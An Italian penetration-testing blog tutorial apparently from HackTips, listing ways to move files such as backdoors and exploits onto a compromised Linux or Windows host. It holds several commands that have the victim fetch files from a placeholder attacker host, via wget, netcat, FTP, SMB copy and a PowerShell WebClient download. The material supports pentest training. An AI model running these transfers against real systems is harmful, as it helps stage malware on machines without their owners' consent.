Durante dei penetration test è possibile che capiti di dover trasferire file sull’host compromesso, ad esempio backdoor, exploit o tool che ci possono servire per analizzare e compromettere delle reti interne. In questo articolo andremo ad analizzare i metodi più efficaci per trasferire dei file tramite la rete, sia su macchine Linux che su Windows.
Da Linux a Linux
Metodo 1 – Netcat
Uno dei metodi che prediligo, seppure banale e prono ad errori, è quello di utilizzare sulla macchina attaccante netcat, mentre sulla vittima wget (o curl). La connessione è molto semplice
┌─[mrtouch@parrot]─[~] └──╼ $ cat dirty.c | nc -lp 4444
Con questo comando sto inviando il file sulla porta 4444 a chiunque si connetta sul mio server TCP aperto con netcat. Sulla macchina vittima eseguirò
wget IP-attaccante:4444 -O dirty.c
Metodo 2 – HTTP
Un metodo più elegante è quello di creare un server con python e scaricare, tramite browser o da riga di comando, il file reso disponibile dalla macchina attaccante. Python ha un comando semplicissimo per fare ciò, che è
┌─[mrtouch@parrot]─[~] └──╼ $ python -m SimpleHTTPServer 8888
Una volta eseguito, dall’host vittima basta aprire il browser (o usare il terminale), andare sulla porta 8888 dell’attaccante e scaricare il file. Per poter rendere disponibile il file, ricordatevi che il server dev’essere avviato dalla cartella in cui si trova!
Metodo 3 – FTP
Sempre sulla scia della scorsa modalità, python mette a disposizione anche un server FTP. Molto simile al comando scorso, l’attaccante rende disponibile il file sulla porta 21
┌─[mrtouch@parrot]─[~] └──╼ $ python -m pyftpdlib -p 21
Dalla macchina vittima basterà connettersi da browser o tramite il comando
ftp IP-attaccante
con user:anonymous e password vuota
Metodo 4 – Netcat inverso
Un’altra modalità, molto simile al primo metodo, è quella di non usare il comando cat ma inviare il file direttamente da netcat. Questo è possibile grazie all’utilizzo della redirezione dell’output di Linux (simbolo <). L’attaccante esegue
┌─[mrtouch@parrot]─[~/server] └──╼$ nc IP-vittima 5555 < dirty.c
mentre la vittima si mette in ascolto
nc -lvp 5555 > dirty.c
Questa modalità è praticamente l’inverso del primo metodo, in quanto stavolta è la vittima a mettersi in ascolto e l’attaccante invia il file all’indirizzo IP specificato.
Da Linux a Windows
Metodo 1 – HTTP
Il metodo numero due precedentemente illustrato funziona ovviamente anche con un host Windows, basta utilizzare il browser.
Metodo 2 – FTP
Come prima, i comandi sono esattamente gli stessi. Attaccante,
┌─[mrtouch@parrot]─[~/server] └──╼ $ python -m pyftpdlib -p 21
Vittima
ftp IP-attaccante
Metodo 3 – TFTP (UDP)
Metasploit mette a disposizione un comodo server TFTP che permette di scaricare i file da Windows. Nelle nuove versioni di Windows non è disponibile di default, ma per poter eseguire il comando di download/upload basta digitare
pkgmgr /iu:"TFTP"
e verrà abilitato il tool tftp.
Il modulo di metasploit è auxiliary/server/tftp e l’unica opzione obbligatoria è la cartella che si andrà a rendere disponibile contenente i file.
Metodo 4 – SMB
Grazie ad Impacket possiamo creare un server SMB su Linux e condividere i file con un server SMB. Una volta installato si può avviare il server con il comando
┌─[mrtouch@parrot]─[~/server] └──╼ $ sudo smbserver.py SHRNAME smbfiles/
dove smbfiles è la cartella che vogliamo condividere sulla rete. Una volta avviato, sulla macchina Windows potremo visionare i file e scaricarli, tramite i seguenti comandi
C:> net view \IP-attaccante C:>dir \IP\SHRNAME C:>copy \IP\SHRNAME\file.exe
Metodo 5 – HTTP con Powershell
Metodo abbastanza particolare, ma utile nel caso in cui non si possa usare il browser e non si riesca ad ottenere i files. Da Linux eseguiamo sempre
┌─[✗]─[mrtouch@parrot]─[~/server] └──╼ $ python -m SimpleHTTPServer 8080
mentre da Windows eseguiremo il seguente comando
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://IP-attaccante\file.exe','C:\Users\wind7\Desktop\file.exe')"
Conclusioni
La domanda che magari ci si potrebbe porre è quale dei metodi elencati è il migliore, ma la risposta è….dipende. Dipende dalla shell creata, dipende dall’infrastruttura in cui si è e dalla presenza o meno di firewall che potrebbero bloccare certi tipi di connessioni. Alcuni approfondimenti si possono comunque trovare a questo e questo link.
Hits: 579
L’articolo Trasferire file tra due host (Linux-Linux e Linux-Windows) proviene da HackTips.